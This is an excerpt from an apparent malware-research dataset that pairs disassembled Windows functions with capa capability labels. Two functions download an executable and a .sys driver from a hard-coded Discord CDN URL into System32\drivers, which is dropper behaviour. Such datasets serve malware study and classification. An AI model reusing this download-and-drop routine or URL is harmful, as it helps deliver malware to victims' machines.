joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007e80
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call sym.pop_pthread_mem
mov r12, rax
test rax, rax
je 0x1400080e9
test rdi, rdi
je 0x140007eba
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x140007f27
add ebx, 1
cmp ebx, 1
je 0x140008030
mov ecx, 0x14
call r14
cmp ebx, 5
jne 0x140007ef5
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call sym.pthread_spin_destroy
cmp eax, 1
je 0x14000812f
cmp qword [r12 + 0x30], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x1400080d2
xor edx, edx
test rsi, rsi
je 0x140007f9f
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x140008100
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [sym.pthread_create_wrapper]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140008090
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x140008060
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x140008040
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor ecx, ecx
call r13
jmp 0x140007ef5
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000800f
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x140007fe5
mov edx, 0xf
cmp eax, 0xe
jg 0x140007fe5
cmp eax, 2
mov edx, 2
cmovle edx, eax
jmp 0x140007fe5
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x1400080a0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call sym.pthread_mutex_destroy
mov rcx, r14
call sym.pthread_spin_destroy
cmp eax, 1
je 0x14000812f
mov qword [r12 + 0x68], 0xffffffffffffffff
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x1400080de
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
je 0x140008120
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call sym.__pthread_self_lite
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x140007f9f
mov rcx, r12
call sym.push_pthread_mem.part.0
mov eax, 0xb
jmp 0x1400080ee
call sym.replace_spin_keys.part.0
nop
nop word cs:[rax + rax]
Function at 0x140008b70
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008b90
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140008bd8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008b84
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140008bc5

Function at 0x140008c00
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x1400112c0]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008cb8
mov rdx, qword [0x140011200]
lea rcx, [0x140011200]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140008c88
cmp rdx, rcx
jne 0x140008c6a
mov qword [rdx], rax
cmp rax, rcx
je 0x140008c6f
nop dword [rax]
test rax, rax
je 0x140008c9a
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140008c58
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140008c9a
mov rdx, rax
jmp 0x140008c66
lea rcx, [0x140011300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008cd6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140008c9a
Function at 0x14000312c
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x140003186
mov r11b, reloc.WLDAP32.dll_Ordinal_35
lea rdi, [0x1400b08d0]
movzx ebx, byte [r10]
dec rdx
inc r10
cmp bl, r11b
jne 0x140003170
cmp rdx, 2
jb 0x140003170
cmp byte [r10], r11b
jne 0x140003170
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rbx
shr r9d, 8
xor r9d, dword [rdi + rcx*4]
test rdx, rdx
jne 0x14000314e
jmp 0x1400031c7
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x1400031c7
mov r11b, reloc.WLDAP32.dll_Ordinal_35
lea rdi, [0x1400b08d0]
cmp dl, r11b
jne 0x1400031ab
cmp byte [r10], r11b
jne 0x1400031ab
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rdi + rcx*4]
test dl, dl
jne 0x140003199
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x1400032fc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
test r8, r8
je 0x14000331c
and qword [r8], 0
lea rdx, [0x1400b045c]
call fcn.1400031d8
mov rbx, rax
test rax, rax
je 0x14000340d
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140003404
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003404
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140003404
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003404
mov rbp, rdi
cmp rdi, 0xffffffffffffffff
je 0x140003404
mov rax, qword [0x1402bf240]
test rax, rax
je 0x1400033a1
inc dword [rax + 0xf4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140003404
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x1400033f1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1402bf240]
test rax, rax
je 0x1400033e6
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000340d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x1400033ff
mov qword [rsi], rbp
mov rax, rdi
jmp 0x14000340f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400058ec
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1402be0c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd r8, dword [rcx + 0xe8]
mov r10d, 4
mov rax, qword [rcx + 0xf0]
mov r9d, r10d
mov dword [rsp + 0x20], edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [rsp + 0x20]
not ebx
movzx eax, byte [r8]
inc r8
movzx ecx, bl
xor rcx, rax
shr ebx, 8
lea rax, [0x1400b08d0]
xor ebx, dword [rax + rcx*4]
sub r9, 1
jne 0x140005928
mov rcx, qword [0x1402bf240]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x140005966
movsxd r8, edx
mov ecx, ebx
mov edx, r10d
call fcn.140015970
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14009daa0
add rsp, 0x30
pop rbx
ret

Function at 0x1400145f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c40], 0
lea rbx, [rcx + 0x5c48]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140014689
mov r9d, dword [rbx + 4]
test r9d, r9d
jns 0x140014641
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1400168a8
and dword [rbx], 0
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.140003a0c
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c40]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1402bf238]
movsxd r8, eax
mov rax, qword [rdi + 0x5c50]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140014691
mov rcx, rbx
call fcn.140003a0c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140014e70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1402bf240]
mov rbx, rcx
and dword [rax + 0x5ba4], 0
test rcx, rcx
je 0x140014ed9
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140014ee4
lea rdx, [0x1400b0460]
mov rcx, rbx
mov rdi, rax
call fcn.1400031d8
mov rbx, rax
test rax, rax
je 0x140014ed9
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14003388c
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1402be0c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.C:WindowsSystem32drivers
lea rcx, [rbp - 0x30]
call fcn.14003b5a4
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x20]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x1400338f5
lea rcx, [rbp - 0x30]
call fcn.140039f7c
lea rdx, str.retard.exe
lea rcx, [rbp - 0x30]
call fcn.14003a0f8
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
and qword [rsp + 0x20], 0
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
js 0x140033942
lea rdx, str.Executable_downloaded_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14003aca4
jmp 0x140033980
lea rdx, str.Failed_to_download_the_executable._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14003aca4
lea rdx, [0x140032128]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140032114]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x14003ae2c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp - 0x30]
call fcn.14003a9e4
xor al, al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14009daa0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x1400339b4
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1402be0c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.C:WindowsSystem32drivers
lea rcx, [rbp - 0x30]
call fcn.14003b5a4
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x20]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140033a1a
lea rcx, [rbp - 0x30]
call fcn.140039f7c
lea rdx, str.sefdebos64.sys
lea rcx, [rbp - 0x30]
call fcn.14003a0f8
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
and qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1137024806299115644_1166322950916550666_sefdebos64.sys_ex654a11e4is65379ce4hm170a1b0d66b9dba3d55543658d3d60bf265a7298a325782209edb406f60f17bd
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
js 0x140033a6b
lea rdx, str.Executable_downloaded_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14003aca4
jmp 0x140033aa9
lea rdx, str.Failed_to_download_the_executable._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14003aca4
lea rdx, [0x140032128]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140032114]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x14003ae2c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp - 0x30]
call fcn.14003a9e4
xor al, al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14009daa0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret
Function at 0x140033ea0
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140033ee5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.File_deleted_successfully:
call fcn.14003aca4
mov rcx, rax
mov rdx, rbx
call fcn.14003aca4
lea rdx, [0x14003ae2c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov al, 1
jmp 0x140033f15
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Failed_to_delete_file:
call fcn.14003aca4
mov rcx, rax
mov rdx, rbx
call fcn.14003aca4
lea rdx, [0x14003ae2c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140034448
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1318]
mov eax, 0x13f0
call fcn.14009e730
sub rsp, rax
mov rax, qword [0x1402be0c0]
xor rax, rsp
mov qword [rbp + 0x12e0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea r8d, [rsi + 0x24]
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea rcx, [rsp + 0x30]
call fcn.14003b69c
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
or dword [rbp + 0x12d4], 0xffffffff
mov dword [rsp + 0x54], eax
lea r15d, [rsi + 1]
mov ecx, r15d
mov r8d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x54], edx
add rcx, r15
cmp rcx, r8
jb 0x1400344db
mov dword [rsp + 0x50], r8d
mov r13d, dword [rsp + 0x40]
dec r13d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], sil
mov dword [rsp + 0x20], r15d
mov r12d, 7
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
cmp r13d, 0xffffffff
jne 0x140034542
call fcn.14003c980
mov r8d, eax
jmp 0x140034589
lea esi, [r13 + 1]
call fcn.14003c980
mov r15d, esi
mov r8d, eax
imul r8, r15
cmp r8d, esi
jae 0x14003457f
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp r8d, edx
jae 0x14003457f
lea rcx, [rsp + 0x50]
call fcn.14003c980
mov r8d, eax
imul r8, r15
cmp r8d, esi
jb 0x140034569
shr r8, 0x20
xor esi, esi
lea r15d, [rsi + 1]
lea rcx, [rsp + 0x30]
cmp r14, 0xf
cmova rcx, rdi
movsxd rax, r8d
mov r9b, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x1400345c7
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400345bc
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], sil
jmp 0x1400345d5
mov r8b, sil
mov rdx, r15
mov rcx, rbx
call fcn.14003b790
sub r12, r15
jne 0x14003452d
cmp r14, 0xf
jbe 0x140034618
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140034610
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034610
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14009e1c8
mov rax, rbx
mov rcx, qword [rbp + 0x12e0]
xor rcx, rsp
call fcn.14009daa0
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14003464c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x13d0
call fcn.14009e730
sub rsp, rax
mov rax, qword [0x1402be0c0]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov r13d, 0xffffffff
mov r12d, 1
mov dword [rsp + 0x34], eax
mov edx, r12d
mov dword [rsp + 0x13b4], r13d
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
add rdx, r12
cmp rdx, r8
jb 0x1400346aa
mov rax, qword [0x1402bf630]
mov r15, qword [0x1402bf628]
sub rax, r15
mov dword [rsp + 0x30], r8d
sar rax, 3
sub rax, r12
cmp rax, 0xffffffffffffffff
jne 0x14003470c
lea rcx, [rsp + 0x30]
call fcn.14003c980
mov ebx, eax
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003c980
mov eax, eax
or rbx, rax
jmp 0x14003484d
lea rbp, [rax + 1]
mov rdi, r13
mov esi, r12d
cmp r13, rax
jae 0x14003472a
shl rdi, 0x20
add esi, r12d
or rdi, r13
cmp rdi, rax
jb 0x14003471b
lea rcx, [rsp + 0x30]
call fcn.14003c980
lea r14d, [rsi - 1]
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x14003475a
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003c980
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x140034742
mov rax, rbp
mul rbx
mov rcx, rax
mov r8, rdx
and rcx, rdi
mov rbx, rax
cmp rcx, rbp
jae 0x1400347c7
xor edx, edx
mov rax, rdi
sub rax, rbp
add rax, r12
div rbp
mov r12, rdx
cmp rcx, rdx
jae 0x1400347c7
lea rcx, [rsp + 0x30]
call fcn.14003c980
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x1400347b3
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003c980
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x14003479b
mov rax, rbp
mul rbx
mov rbx, rax
mov r8, rdx
and rax, rdi
cmp rax, r12
jb 0x140034787
cmp dword [reloc.WS2_32.dll_accept], 2
jge 0x14003482b
mov rax, rdi
movabs rcx, 0x5555555555555555
shr rax, 1
and rax, rcx
movabs rcx, 0x3333333333333333
sub rdi, rax
mov rax, rdi
and rdi, rcx
shr rax, 2
and rax, rcx
add rax, rdi
mov rcx, rax
shr rcx, 4
add rcx, rax
movabs rax, 0xf0f0f0f0f0f0f0f
and rcx, rax
movabs rax, 0x101010101010101
imul rcx, rax
shr rcx, 0x38
jmp 0x140034830
popcnt rcx, rdi
mov ecx, ecx
test cl, cl
je 0x14003484d
cmp cl, 0x40
jb 0x140034849
movzx ecx, cl
mov rbx, r8
and ecx, 0x3f
shr rbx, cl
jmp 0x14003484d
shrd rbx, r8, cl
mov rax, qword [r15 + rbx*8]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.14009daa0
lea r11, [rsp + 0x13d0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret